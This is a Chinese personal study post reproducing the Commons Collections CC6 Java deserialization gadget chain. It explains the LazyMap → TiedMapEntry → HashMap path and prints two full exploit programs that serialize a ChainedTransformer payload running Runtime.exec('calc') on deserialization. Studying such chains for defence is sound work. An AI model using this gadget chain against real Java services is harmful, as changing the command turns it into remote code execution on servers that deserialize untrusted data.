Java反序列化-cc6链挖掘复现(个人学习笔记)

前置知识:

CC6是用到了CC1的前半条链以及URLDNS链的一部分,下附以前的文章供参考共同学习。

yJava反序列化-URLDNS链icon-default.png?t=O83Ahttps://blog.youkuaiyun.com/m0_64014167/article/details/139393050?spm=1001.2014.3001.5502 

Java反序列化-cc1链挖掘复现icon-default.png?t=O83Ahttps://blog.youkuaiyun.com/m0_64014167/article/details/139459370?spm=1001.2014.3001.5502

CC6:

链子图解:

分析:

        除了在TransformedMap类里面可以调用transform方法,在LazyMap里面也可以通过get()方法调用transform方法。

LazyMap:

        在get方法中:我们可以看到,它从一个map中获取给定的 key 对应的值。如果这个key不在map中,它会使用一个factory对象来创建一个新的值,进而在factory.transform(key)中,调用了transform,我们只需要把factory换成ChainedTransformer即可

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

        我们如何控制传入factory的值呢?其实在LazyMap里面有一个decorate方法,可以满足我们的需求。

        后续就要寻找谁调用了get方法,这里面有很多类,在cc6用到的是TiedMapEntry类里面的getValue()方法,在getValue()方法里面调用了get()方法,

        TiedMapEntry:

        那么谁又调用了getValue()方法呢?其实在TiedMapEntry类里面有一个hashCode()方法,如果value不为null,就会调用hashCode()方法,

在URLDNS链中,我们学习到了HashMap里面的hash方法()中调用了hashCode()方法。

        至此CC6整体思路初步成型。

问题:

一、在序列化时候会执行put方法

        和URLDNS链一样,在序列化的时候就“已经弹出来计算器”了,因为在调用put()方法的时候就已经实现了hash()的调用。

所以我们还需要利用反射

解决方法一:

        可以修改transform[]数组:

//将真正的transformer数组设置
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
解决方法二:

        可以修改LazyMap:

        利用反射去修改lazyMap里面的factory属性的值

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

import static java.lang.Runtime.*;

public class cc6 {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException {
        // ChainedTransformer链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        //LazyMap
        HashMap map =  new HashMap<>();
        Map lazyMap = (LazyMap) LazyMap.decorate(map,new ConstantTransformer(1));

        //TiedMapEntry
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"Rsecret2");
        HashMap map2 =  new HashMap<Object,Object>();
        map2.put(tiedMapEntry,"Rsecret2");

        Class c = LazyMap.class;
        Field field = c.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(map2,chainedTransformer);


        serialize(map2);
        unserialize(map2);

    }


    private static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }

    public static void unserialize(Object obj) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        ois.readObject();
        ois.close();
    }
}

        这样第一个问题就解决了。

二、反序列化会生成一个key

        通过打断点调试可以发现。

解决方法:

把重新put的key删除即可

lazyMap.remove("Rsecret1");

最终exp:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

import static java.lang.Runtime.*;

public class cc6 {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException {
        // ChainedTransformer链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        //LazyMap
        HashMap<Object,Object> map =  new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

        //TiedMapEntry
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"Rsecret1");

        //HashMap
        HashMap<Object,Object> map2 =  new HashMap<>();
        map2.put(tiedMapEntry,"Rsecret2");
        lazyMap.remove("Rsecret1");

        Class c = LazyMap.class;
        Field field = c.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazyMap,chainedTransformer);


        serialize(map2);
        unserialize(map2);

    }


    private static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }

    public static void unserialize(Object obj) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        ois.readObject();
        ois.close();
    }
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值